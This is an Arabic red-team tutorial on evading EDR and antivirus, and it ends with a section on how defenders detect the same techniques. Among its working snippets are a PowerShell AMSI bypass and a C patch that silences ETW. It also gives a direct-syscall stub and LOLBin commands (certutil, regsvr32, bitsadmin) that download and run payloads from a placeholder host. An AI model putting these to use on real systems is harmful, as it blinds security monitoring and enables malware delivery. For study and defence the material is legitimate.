الفرق الحمراء — الهجومخبير90mL48

Defense Evasion — EDR Bypass اللي محدش بيقولك

AMSI و ETW و Syscalls و Packers — تعدي من غير ما تحس بيك

#AMSI#ETW#Syscalls#Packers

القط والفار — مين بيلاحق مين؟

تشبيه — شرح مبسط
الـ EDR الحديث مش بيدوّر على الـ "virus" القديم اللي بـ signature. بيدوّر على السلوك: Word بيشغّل PowerShell؟ ذاكرة فيها Cobalt Strike beacon pattern؟ child process لـ msword.exe اسمه cmd.exe؟ كله flags. شغل المهاجم المتقدم: يخلّي السلوك يبان طبيعي. مش يشغّل tool، يخلّي الـ tool يبان زي اللي حواليه.

- طب يا حضرتك إحنا عندنا EDR بـ مليون دولار، ده بيقفل كل حاجة!

متوقّع كالعادة يا مستجد. لو AV التقليدي مات، ليه لسه الناس بيعتمدوا على signatures؟ ليه لسه عندنا "تحديث الـ definitions"؟ الـ vendor بيبيع لك راحة بال، مش حماية. الفرق كبير.

قبل ما تكمّل
هذا الدرس لـ red team عنده تصريح كتابي. الهدف الحقيقي: المدافع يعرف بيدوّر على ايه، وما يثقش ثقة عميا في AV. الـ EDR كله اللي بيقولك "100% detection" بيكدب عليك. مفيش EDR بيقفل كل حاجة.

طبقات الكشف اللي لازم تتجاوزها

  1. Static AV — توقيعات الملف.
  2. AMSI — يفحص النصوص قبل تنفيذها (PowerShell, JS, VBA).
  3. ETW — مصدر تليمتري لـ EDR.
  4. User-mode hooks داخل ntdll.dll.
  5. Kernel callbacks (PsSetCreateProcessNotifyRoutine).
  6. Behavioral / ML في السحابة.

AMSI Bypass — أساسيات

AMSI = Antimalware Scan Interface. يتعرّض الـ PowerShell payload له قبل التنفيذ. الفكرة: إفساد العلم (amsiInitFailed) أو تصحيح الذاكرة.

PowerShell — historical
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
  .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

الأساليب الحديثة:

  • Hardware Breakpoints على AmsiScanBuffer.
  • Patch in memory — VirtualProtect → mov eax, 0x80070057 ; ret.
  • Reflection + obfuscation ديناميكي للسلاسل.

ETW Patching — تعمية المراقبة

الـ EDR يقرأ من ETW providers. تعطيل EtwEventWrite داخل العملية يقطع التليمتري عنها فقط (لا عن النظام).

C — concept
DWORD oldProt;
void* p = GetProcAddress(GetModuleHandleA("ntdll"), "EtwEventWrite");
VirtualProtect(p, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)p = 0xC3;  // ret
VirtualProtect(p, 1, oldProt, &oldProt);

Unhooking — استرجاع ntdll نظيف

الـ EDR يضع jmp في بداية دوال ntdll. نعيد قراءة ntdll.dll من القرص و نستبدل قسم .text في الذاكرة.

Direct & Indirect Syscalls

بدلاً من استدعاء NtAllocateVirtualMemory من ntdll (المهوكة)، ننفّذ syscall مباشرة.

  • SysWhispers3 / Hell's Gate / Halo's Gate / Tartarus Gate.
  • Indirect syscall أصعب اكتشافاً (يحافظ على شكل call stack).
ASM
Nt$Func PROC
    mov r10, rcx
    mov eax, SSN
    syscall
    ret
Nt$Func ENDP

Process Injection — الكلاسيكيات الحديثة

  • Process Hollowing — تشغيل عملية شرعية ثم استبدال محتواها.
  • Module Stomping — تحميل DLL شرعي ثم الكتابة فوقه.
  • Early Bird APC — حقن قبل بدء التنفيذ الفعلي.
  • Thread Pool Injection (PoolParty) — يتجاوز معظم الـ EDRs حالياً.
  • Indirect Dynamic Call + stack spoofing.

Payload Obfuscation و التشفير

  • Donut — حوّل PE/DLL/.NET إلى shellcode مشفّر.
  • Sliver / Havoc — توليد implants مع sleep obfuscation (Ekko, Foliage).
  • Nimcrypt2 / PEzor / Freeze.
  • Sleep masking — تشفير الذاكرة أثناء الـ sleep ليتجنب memory scanners.
  • Stack Spoofing — تزييف call stack ليبدو كأن النداء جاء من مكان شرعي.

Living-off-the-Land (LOLBins)

استخدام أدوات Microsoft الموقّعة لتنفيذ كود — يمر دون توقيع خبيث:

LOLBAS examples
rundll32.exe shell32.dll,Control_RunDLL evil.cpl
regsvr32 /s /u /n /i:http://a/b.sct scrobj.dll
certutil -urlcache -split -f http://a/x.exe x.exe
bitsadmin /transfer j http://a/x.exe %temp%\x.exe
InstallUtil.exe /logfile= /LogToConsole=false /U evil.exe
wmic process call create "powershell -enc ..."

قائمة مرجعية: lolbas-project.github.io.

Sandbox & VM Evasion

  • التحقق من عدد المعالجات و الذاكرة (≤2 cores, <4GB RAM = sandbox محتمل).
  • قياس وقت Sleep (sandbox غالباً يقفز فوقه).
  • وجود VBoxService.exe / vmtoolsd.exe / artifacts.
  • تحرّك الفأرة و سجل الـ recent docs.
  • Domain check — لا تنفّذ إلا داخل دومين الضحية.

الحماية — إزاي الـ Blue Team بيكشف ده كله

  • Sysmon + قواعد SwiftOnSecurity / Olaf Hartong.
  • ETW-TI (Threat Intelligence provider) لرصد syscalls مباشرة.
  • Memory scanning دوري بـ Moneta / pe-sieve / Hollows Hunter.
  • قواعد YARA على الذاكرة لـ CobaltStrike beacons, Sliver, Mythic.
  • كشف unbacked memory (RWX, no module) = إنذار.
  • منع child processes غير المعتادة من Office عبر ASR rules.
  • تطبيق WDAC / AppLocker في وضع enforced.
  • Credential Guard, HVCI.
الحقيقة المرّة
أحسن EDR في السوق مش هيلاقط 100%. الكشف الحقيقي بييجي من دمج طبقات: behavior + network + identity + cloud، وفوقهم UEBA. اللي بيعتمد على EDR لوحده، بيعرّض نفسه. اللي بيعتمد على network IDS لوحده، بيعرّض نفسه. الـ defense in depth مش buzzword، ده اللي بيشتغل فعلاً.

غلطات الـ junior في الـ red team side

بلاش تعمل كده
  • تجرّب payload على VirusTotal. VT بيوزّع الـ samples للـ AV vendors. انت كده حرقت الـ implant بنفسك.
  • تستخدم default Cobalt Strike profile. كل blue team في العالم بيـ block JA3 hash بتاعه.
  • تنسى تـ obfuscate الـ C2 sleep timing. الـ network detection بتلاقط الـ regular beaconing من بعيد.
  • تستخدم AMSI bypass من 2018. الـ string-based detection لاقطه قبل ما الـ payload يشتغل.

الخلاصة الناشفة

الـ evasion مش حركة واحدة. ده تركيب من 10+ تقنية شغّالة في نفس الوقت: AMSI bypass + ETW patch + indirect syscalls + sleep masking + stack spoofing + LOLBAS + domain check.

اللي بيكسر واحد فيهم بيكسر الكل. ولو واحد منهم سقط، الـ chain كلها سقطت.

للمدافع: ما تستثمرش في tool واحد. استثمر في visibility. كل ما الـ data أكتر، كل ما الـ adversary بيلاقي صعوبة يخفي. الـ logs اللي ما بتجمعهاش = هدية للـ adversary.